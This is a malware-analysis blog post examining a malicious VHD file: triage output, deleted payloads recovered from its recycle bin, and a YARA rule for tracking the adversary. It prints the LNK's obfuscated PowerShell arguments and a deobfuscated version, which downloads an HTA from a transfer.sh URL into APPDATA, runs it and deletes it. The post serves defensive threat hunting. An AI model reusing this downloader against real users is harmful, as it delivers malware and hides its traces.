Malware via VHD Files, an Excellent Choice

forensicitguy.github.io/vhd-malware-an-excellent-choice

July 23, 2023

Adversaries use lots of different file formats to distribute malware and one of my favorites has to be Virtual Hard Disk (VHD) files. You may have seen VHD files used with virtualization solutions like Virtualbox, Hyper-V, VMWare, etc., but you can also use VHD file containers as portable storage files in a similar manner to ISOs. There are just a few catches though, you have to be much more careful when working with VHD files to avoid leaving additional evidence that can be used for tracking. That's why I love this file format, sloppy adversaries leave me more data to use for intelligence.

10/10, I love VHD files, keep using them for evil. And hopefully after today you'll like them a little more as well. For today's post I'm working with this sample in MalwareBazaar: https://bazaar.abuse.ch/sample/72ba4bd27c5d95912ac5e572849f0aaf56c5873e03f5596cb82e56ac879e3614/.

> Do you or someone you know want to learn YARA? If you want to learn more about it, consider checking out the Applied Network Defense course YARA for Security Analysts. I'm not being sponsored to plug it, I'm just taking the course myself right now and loving it. If you like the course, stick around for the Analyst Skills Vault content where I'm one of many contributors!

Triage the VHD

Let's see what details we can glean from the VHD just with `file`, `diec`, and `exiftool`.

```
$ file invoice.vhd
invoice.vhd: Microsoft Disk Image, Virtual Server or Virtual PC, Creator win  a.0 (W2k) Wed Oct 26 20:59:21 2022, 1073741824 bytes, CHS
2080/16/63

$ diec invoice.vhd
Binary
    Format: Microsoft Virtual Hard Disk (.VHD)(v1.0)[Dynamically,OrginalSize:1.00 GiB,CurrentSize:1.00 GiB]

$ exiftool invoice.vhd
ExifTool Version Number         : 12.60
File Name                       : invoice.vhd
Directory                       : .
File Size                       : 19 MB
File Modification Date/Time     : 2023:07:24 00:52:42-05:00
File Access Date/Time           : 2023:07:23 20:02:54-05:00
File Inode Change Date/Time     : 2023:07:23 19:56:01-05:00
File Permissions                : -rw-r--r--
Error                           : Unknown file type
```

The `file` command gave us some good information about the VHD file that it gleaned from the VHD footer (the last 512 bytes). The container file was created on 2022-10-26, or at least the local system clock of the creating system was that date. In addition, the size of the VHD volume was configured to be a maximum of 1 GB, or 1073741824 bytes.

The size configureation was confirmed by `diec`, which noted that the VHD file is configured to be a "dynamically-sized" VHD instead of a "fixed-size". This distinction is important because a dynamically-sized VHD can be much smaller, depending on how many files have been written into the file container. A fixed-size one is guaranteed to be the same size no matter how many files have been written into the container. Since `exiftool` gave us a file size of 19 MB, we can assume that just a few files have been written into the file container, and it has room to expand out to that 1 GB, if needed.

Getting into the VHD Contents

Let's do a quick directory listing of the VHD before we unpack it.

```
$ 7z l invoice.vhd

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD Ryzen 7 7700X 8-Core Processor
(A60F12),ASM,AES-NI)

Scanning the drive for archives:
1 file, 18919424 bytes (19 MiB)

Listing archive: invoice.vhd

--
Path = invoice.vhd
Type = VHD
Physical Size = 18919424
Offset = 0
Created = 2022-10-26 20:59:21
Cluster Size = 2097152
Method = Dynamic
Creator Application = win 10.0
Host OS = Windows
Saved State = -
ID = FD22B45C094556498648BD1B01E0EB43
----
Size = 1073741824
Packed Size = 18874368
Created = 2022-10-26 20:59:21
--
Path = invoice.mbr
Type = MBR
Physical Size = 1073741824
----
Path = 0.fat
Size = 1072627712
File System = FAT32-LBA
Offset = 65536
Primary = +
Begin CHS = 0-2-3
End CHS = 129-254-63
--
Path = 0.fat
Type = FAT
Physical Size = 1072627712
File System = FAT32
Cluster Size = 4096
Free Space = 1017757696
Headers Size = 4206592
Sector Size = 512
ID = 3839026068

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2022-10-26 13:59:24 D.HS.                            System Volume Information
2022-10-27 20:29:18 D.HS.                            $RECYCLE.BIN
2023-05-01 10:39:50 ....A         3172         4096  invoice.pdf.lnk
2022-10-26 13:59:24 ....A           12         4096  System Volume Information/WPSettings.dat
2022-10-27 20:29:14 ....A           76         4096  System Volume Information/IndexerVolumeGuid
2022-10-27 20:29:18 ..HSA          129         4096  $RECYCLE.BIN/desktop.ini
2022-10-27 20:29:18 ....A           48         4096  $RECYCLE.BIN/$IJXIQS1.bat
2022-10-26 13:59:26 ....A       333654       335872  $RECYCLE.BIN/$RJXIQS1.bat
2022-10-28 18:35:40 ....A           58         4096  $RECYCLE.BIN/$IHL25IB.exe
2022-10-15 19:44:32 ....A       185344       188416  $RECYCLE.BIN/$RHL25IB.exe
2022-10-31 18:10:34 ....A           64         4096  $RECYCLE.BIN/$I4E3GQV.js
2022-10-28 18:30:04 ....A        31240        32768  $RECYCLE.BIN/$R4E3GQV.js
2022-10-31 20:05:12 ....A           64         4096  $RECYCLE.BIN/$IXOYXGM.js
2022-10-14 18:23:34 ....A        17368        20480  $RECYCLE.BIN/$RXOYXGM.js
2022-11-04 00:21:24 ....A           66         4096  $RECYCLE.BIN/$IPFEKS8.scr
2022-08-24 18:57:10 ....A       183808       184320  $RECYCLE.BIN/$RPFEKS8.scr
2022-11-04 00:21:34 ....A           56         4096  $RECYCLE.BIN/$IR4KUZJ.js
2022-11-03 18:15:58 ....A            0            0  $RECYCLE.BIN/$RR4KUZJ.js
2022-11-06 12:29:00 ....A           64         4096  $RECYCLE.BIN/$IQCRS6H.js
2022-11-05 15:44:20 ....A        14840        16384  $RECYCLE.BIN/$RQCRS6H.js
2022-11-07 12:25:14 ....A           64         4096  $RECYCLE.BIN/$IWZ85M3.js
2022-11-06 12:11:32 ....A        31241        32768  $RECYCLE.BIN/$RWZ85M3.js
2022-11-08 13:08:12 ....A           66         4096  $RECYCLE.BIN/$I3CEIPM.js
2022-11-07 12:23:08 ....A        31228        32768  $RECYCLE.BIN/$R3CEIPM.js
2022-11-08 14:26:42 ....A           60         4096  $RECYCLE.BIN/$IOHUJ2V.js
2022-11-08 13:02:26 ....A        31832        32768  $RECYCLE.BIN/$ROHUJ2V.js
2022-11-09 12:37:24 ....A           62         4096  $RECYCLE.BIN/$I7M8AKV.scr
2022-09-26 18:49:32 ....A       184832       188416  $RECYCLE.BIN/$R7M8AKV.scr
2022-11-09 17:24:38 ....A           64         4096  $RECYCLE.BIN/$IXOGX0J.js
2022-11-09 12:34:54 ....A        31228        32768  $RECYCLE.BIN/$RXOGX0J.js
2022-11-11 21:50:40 ....A           76         4096  $RECYCLE.BIN/$ICMX6RL.js
2022-11-10 13:16:38 ....A        31228        32768  $RECYCLE.BIN/$RCMX6RL.js
2023-02-27 20:21:24 ....A           56         4096  $RECYCLE.BIN/$IA2LBYN.js
2022-11-11 21:35:28 ....A        31229        32768  $RECYCLE.BIN/$RA2LBYN.js
2023-03-27 18:03:36 ....A           58         4096  $RECYCLE.BIN/$IIN4D18.js
```

```
2023-02-22 19:58:08 ....A      9437184      9437184  $RECYCLE.BIN/$RIN4D18.js
2023-03-27 18:07:02 ....A           58         4096  $RECYCLE.BIN/$IKNZUIN.js
2022-12-29 09:38:14 ....A      9437184      9437184  $RECYCLE.BIN/$RKNZUIN.js
2023-03-27 18:33:38 ....A           60         4096  $RECYCLE.BIN/$IUONKGR.vbs
2023-03-25 11:33:54 ....A       114274       114688  $RECYCLE.BIN/$RUONKGR.vbs
2023-03-27 18:53:42 ....A           68         4096  $RECYCLE.BIN/$IC3SQXJ.exe
2023-03-27 18:33:02 ....A       805921       806912  $RECYCLE.BIN/$RC3SQXJ.exe
2023-03-27 21:08:12 ....A           60         4096  $RECYCLE.BIN/$IU3LK4L.vbs
2023-03-25 11:33:54 ....A       114274       114688  $RECYCLE.BIN/$RU3LK4L.vbs
2023-03-27 22:45:44 ....A           68         4096  $RECYCLE.BIN/$I5K4GOK.js
2023-03-24 11:36:42 ....A      9437184      9437184  $RECYCLE.BIN/$R5K4GOK.js
2023-03-28 21:30:48 ....A           60         4096  $RECYCLE.BIN/$I44YHS9.js
2022-12-29 09:38:14 ....A      9437184      9437184  $RECYCLE.BIN/$R44YHS9.js
2023-03-30 19:36:26 ....A           60         4096  $RECYCLE.BIN/$IS57ED9.pif
2023-01-30 18:20:16 ....A       598016       598016  $RECYCLE.BIN/$RS57ED9.pif
2023-03-30 21:51:04 ....A           72         4096  $RECYCLE.BIN/$ILCPGGH.vbs
2023-03-30 19:31:50 ....A       114276       114688  $RECYCLE.BIN/$RLCPGGH.vbs
2023-03-31 22:36:10 ....A           60         4096  $RECYCLE.BIN/$IQBT6RP.vbs
2023-03-30 19:31:50 ....A       114276       114688  $RECYCLE.BIN/$RQBT6RP.vbs
2023-04-02 19:14:38 ....A           66         4096  $RECYCLE.BIN/$I3CF2C6.js
2022-12-29 09:38:14 ....A      9437184      9437184  $RECYCLE.BIN/$R3CF2C6.js
2023-05-01 09:41:36 ....A           58         4096  $RECYCLE.BIN/$IUX08ML.pif
2023-02-09 18:01:50 ....A       318976       319488  $RECYCLE.BIN/$RUX08ML.pif
2023-05-01 10:40:50 ....A           66         4096  $RECYCLE.BIN/$I2WRCTB.lnk
2023-04-14 16:05:56 ....A         3196         4096  $RECYCLE.BIN/$R2WRCTB.lnk
------------------- ----- ------------ ------------  ------------------------
2023-05-01 10:40:50          50513272     50663424  58 files, 2 folders
```

7-zip gave us a lot of useful info here before we even unpack the files! First, 7-zip enumerated files details and let us know that the VHD was created on a Windows 10 system (look for “Creator Application” in the output) and that the file contains a FAT32 filesystem within. In addition, 7-zip told us that there are a LOT of files within the VHD file, even if they aren’t visible to a user at mount time. Notice the two folders `$RECYCLE.BIN` and `System Volume Information`. These two folders can be a goldmine of intelligence within VHD file containers because their contents can tell you what files the adversary previously stored in a mounted VHD drive before deleting them, and they can contain a GUID value you can use for tracking payloads using tools like YARA.

Looking through the output, I can immediately tell that the adversary likely created a VHD file on 2022-10-26, mounted it to their system, and then proceeded to stage payloads on it as they worked. At different days, they’d delete the staged payload, create whatever their new one was, and then export the VHD for distribution. Instead of creating a clean VHD file every time, they reused the same mounted VHD over and over, leaving additional evidence. Let’s unpack the VHD and see what the most recent payload was.

```
$ ls -l
total 19844
drwxrwxr-x  4 remnux remnux     4096 Jul 23 19:56  ./
drwxrwxr-x 10 remnux remnux     4096 Jul 23 19:48  ../
drwx------  2 remnux remnux     4096 Oct 27  2022 '$RECYCLE.BIN'/
-rw-rw-r--  1 remnux remnux     3172 May  1 10:39  invoice.pdf.lnk
-rw-r--r--  1 remnux remnux 18919424 Jul 24  2023  invoice.vhd
drwx------  2 remnux remnux     4096 Oct 26  2022 'System Volume
Information'/
```

It looks like the adversary intended `invoice.pdf.lnk` to be their most recent payload, and we can get details from it using `exiftool`:

```
$ exiftool invoice.pdf.lnk
ExifTool Version Number         : 12.60
File Name                       : invoice.pdf.lnk
Directory                       : .
File Size                       : 3.2 kB
File Modification Date/Time     : 2023:05:01 10:39:50-05:00
File Access Date/Time           : 2023:05:01 00:00:00-05:00
File Inode Change Date/Time     : 2023:07:23 19:56:06-05:00
File Permissions                : -rw-rw-r--
File Type                       : LNK
File Type Extension             : lnk
MIME Type                       : application/octet-stream
Flags                           : IDList, RelativePath, CommandArgs, IconFile, Unicode, ExpIcon
File Attributes                 : (none)
Target File Size                : 0
Icon Index                      : 13
Run Window                      : Show Minimized No Activate
Hot Key                         : (none)
Target File DOS Name            : powershell.exe
Relative Path                   : ..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Command Line Arguments          : -ExecutionPolicy UnRestricted $ProgressPreference = 0;.function MkZib($QaDpU){$QaDpU[$QaDpU.Length..0] -join('')};.function
fYPTozHjY($QaDpU){.$etoYGh = MkZib $QaDpU;.for($EUMmeaFBf = 0;$EUMmeaFBf -lt $etoYGh.Length;$EUMmeaFBf += 2){.try{$bfMIiw += MkZib
$etoYGh.Substring($EUMmeaFBf,2)}.catch{$bfMIiw += $etoYGh.Substring($EUMmeaFBf,1)}};$bfMIiw};.$iEiSgWkq = fYPTozHjY 'ahtb./rUCsFMYt/geh/.sersfantr//s:tpht';.$wmrri =
$env:APPDATA + '\' + ($iEiSgWkq -split '/')[-1];.[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;.$DLbhY = wget $iEiSgWkq -
UseBasicParsing;.[IO.File]::WriteAllText($wmrri, $DLbhY);.& $wmrri;.sleep 3;.rm $wmrri;
Icon File Name                  : C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
```

The lnk file launches `powershell.exe` with additional command line arguments to download and execute arbitrary code. In addition, it uses the icon of MS Edge to masquerade as a legitimate web page or something similar. After deobfuscation, the code looks like this:

```
function MkZib($QaDpU)
{
    $QaDpU[$QaDpU.Length..0] -join('')
};

function fYPTozHjY($QaDpU)
{
    $etoYGh = MkZib $QaDpU;
    for($EUMmeaFBf = 0;$EUMmeaFBf -lt $etoYGh.Length;$EUMmeaFBf += 2) {
        try
        {
            $bfMIiw += MkZib $etoYGh.Substring($EUMmeaFBf,2)
        }
        catch
        {
            $bfMIiw += $etoYGh.Substring($EUMmeaFBf,1)
        }
    };
    $bfMIiw
};

$iEiSgWkq = fYPTozHjY 'ahtb./rUCsFMYt/geh/.sersfantr//s:tpht';

# hxxps://transfer[.]sh/get/MYsFUC/rb.hta

$wmrri = $env:APPDATA + '\' + ($iEiSgWkq -split '/')[-1];
[Net.ServicePointManager]::SecurityProtocol =
[Net.SecurityProtocolType]::Tls12;
$DLbhY = wget $iEiSgWkq -UseBasicParsing;
[IO.File]::WriteAllText($wmrri, $DLbhY);
& $wmrri;
sleep 3;
rm $wmrri;
```

That payload downloads a HTA file to disk and then launches it using `mshta.exe`, fairly straightforward. Now, back to the additional VHD goodness.

What Else is There?

Let's take a quick look and see what else this adversary staged on their mounted VHD in days past. Not all of the files are completely present, some of them definitely aren't complete, but some may have enough content we can explore using tools like YARA. To do this, I'm using the signature-base repo's YARA rules on GitHub. First, I cloned the repo, deleting any YARA signatures that use external variables and will cause errors. Then I concatenated all the YARA rules into a single rule file which I can use to scan the `$RECYCLE.BIN` folder.

```
$ yara -s all-the-rules.yar ~/cases/vhd/\$RECYCLE.BIN/

SUSP_PE_Discord_Attachment_Oct21_1 /home/remnux/cases/vhd/$RECYCLE.BIN//$RPFEKS8.scr
0xc55:$x1:
h\x00t\x00t\x00p\x00s\x00:\x00/\x00/\x00c\x00d\x00n\x00.\x00d\x00i\x00s\x00c\x00o\x00r\x00d\x00a\x00p\x00p\x00.\x00c\x00o\x00m\x00/\x00a\x00t\x00t\x00a\x00c\x00h\x00m\x00e\x00n\x00t\
0/\x00

WScript_Shell_PowerShell_Combo /home/remnux/cases/vhd/$RECYCLE.BIN//$RUONKGR.vbs
0x6310:$s1: .CreateObject("WScript.Shell")
0x6421:$s1: .CreateObject("WScript.Shell")
0x648e:$p1: powershell.exe

WScript_Shell_PowerShell_Combo /home/remnux/cases/vhd/$RECYCLE.BIN//$RU3LK4L.vbs
0x6310:$s1: .CreateObject("WScript.Shell")
0x6421:$s1: .CreateObject("WScript.Shell")
0x648e:$p1: powershell.exe

WScript_Shell_PowerShell_Combo /home/remnux/cases/vhd/$RECYCLE.BIN//$RLCPGGH.vbs
0x6310:$s1: .CreateObject("WScript.Shell")
0x6423:$s1: .CreateObject("WScript.Shell")
0x6490:$p1: powershell.exe

SUSP_PE_Discord_Attachment_Oct21_1 /home/remnux/cases/vhd/$RECYCLE.BIN//$RHL25IB.exe
0xfd5:$x1:
h\x00t\x00t\x00p\x00s\x00:\x00/\x00/\x00c\x00d\x00n\x00.\x00d\x00i\x00s\x00c\x00o\x00r\x00d\x00a\x00p\x00p\x00.\x00c\x00o\x00m\x00/\x00a\x00t\x00t\x00a\x00c\x00h\x00m\x00e\x00n\x00t\
0/\x00

SUSP_PE_Discord_Attachment_Oct21_1 /home/remnux/cases/vhd/$RECYCLE.BIN//$R7M8AKV.scr
0xfef:$x1:
h\x00t\x00t\x00p\x00s\x00:\x00/\x00/\x00c\x00d\x00n\x00.\x00d\x00i\x00s\x00c\x00o\x00r\x00d\x00a\x00p\x00p\x00.\x00c\x00o\x00m\x00/\x00a\x00t\x00t\x00a\x00c\x00h\x00m\x00e\x00n\x00t\
0/\x00

WScript_Shell_PowerShell_Combo /home/remnux/cases/vhd/$RECYCLE.BIN//$RQBT6RP.vbs
0x6310:$s1: .CreateObject("WScript.Shell")
0x6423:$s1: .CreateObject("WScript.Shell")
0x6490:$p1: powershell.exe
```

Immediately we can see that there are a few more payloads we can explore for more intelligence on this adversary's operations. We can tell they've used Discord for file distribution, and they have a particular fondness for VBS scripts that call PowerShell. If we want, we can delve into any one of those files some more for details.

Tracking the Adversary into the Future

Ok, let's imagine for a moment that we're intelligence analysts and we want to go for the jugular on this adversary and see if any of their tools get uploaded to VirusTotal or MalwareBazaar in the future. Thanks to this VHD file's evidence, we can do so. In the `System Volume Information` folder, we can see that the adversary didn't clean up an `IndexerVolumeGuid` file, which contains a GUID value assigned to the mounted VHD by the Windows Indexing Service on the adversary's system. Essentially, because this adversary didn't clean up that file we can use the GUID in that file to potentially identify future VHD files this same adversary distributes in the wild.

```
$ cat System\ Volume\
Information/IndexerVolumeGuid
{BE882B07-1D3C-4C58-9D29-14A8C4AE35E5}
```

Let's create a quick YARA rule we can use to identify VHDs that have this GUID value in the future. Since the file is plaintext and there's no compression happening in the VHD, it'll be visible in the plain bytes of the VHD file.

```
rule mal_that_one_persons_vhd
{
    meta:
        author = "Tony Lambert (@ForensicITGuy)"
        description = "VHD files belonging to that one adversary based on IndexerVolumeGuid
value"
        hash = "72ba4bd27c5d95912ac5e572849f0aaf56c5873e03f5596cb82e56ac879e3614"
    strings:
        $vhd_magic = { 63 6f 6e 65 63 74 69 78 }
        $guid = "{BE882B07-1D3C-4C58-9D29-14A8C4AE35E5}" wide
    condition:
        $vhd_magic at 0 and $guid
}
```

```
$ yara -s mal_that_one_persons_vhd.yar invoice.vhd
mal_that_one_persons_vhd invoice.vhd

0x0:$vhd_magic: 63 6F 6E 65 63 74 69 78

0x469000:$guid: {\x00B\x00E\x008\x008\x002\x00B\x000\x007\x00-\x001\x00D\x003\x00C\x00-\x004\x00C\x005\x008\x00-\x009\x00D\x002\x009\x00-
\x001\x004\x00A\x008\x00C\x004\x00A\x00E\x003\x005\x00E\x005\x00}\x00
```

From here, we can plug that rule into VirusTotal for live or retroactive hunts or we could plug it into other services where we can search a large corpus of malware files.

Learning More About VHD Files

If working with VHDs piqued your interest, here's some documentation to expand your adventure:

- VHD Format Specification .DOC file
- VHDX Format Specification

Thanks for reading!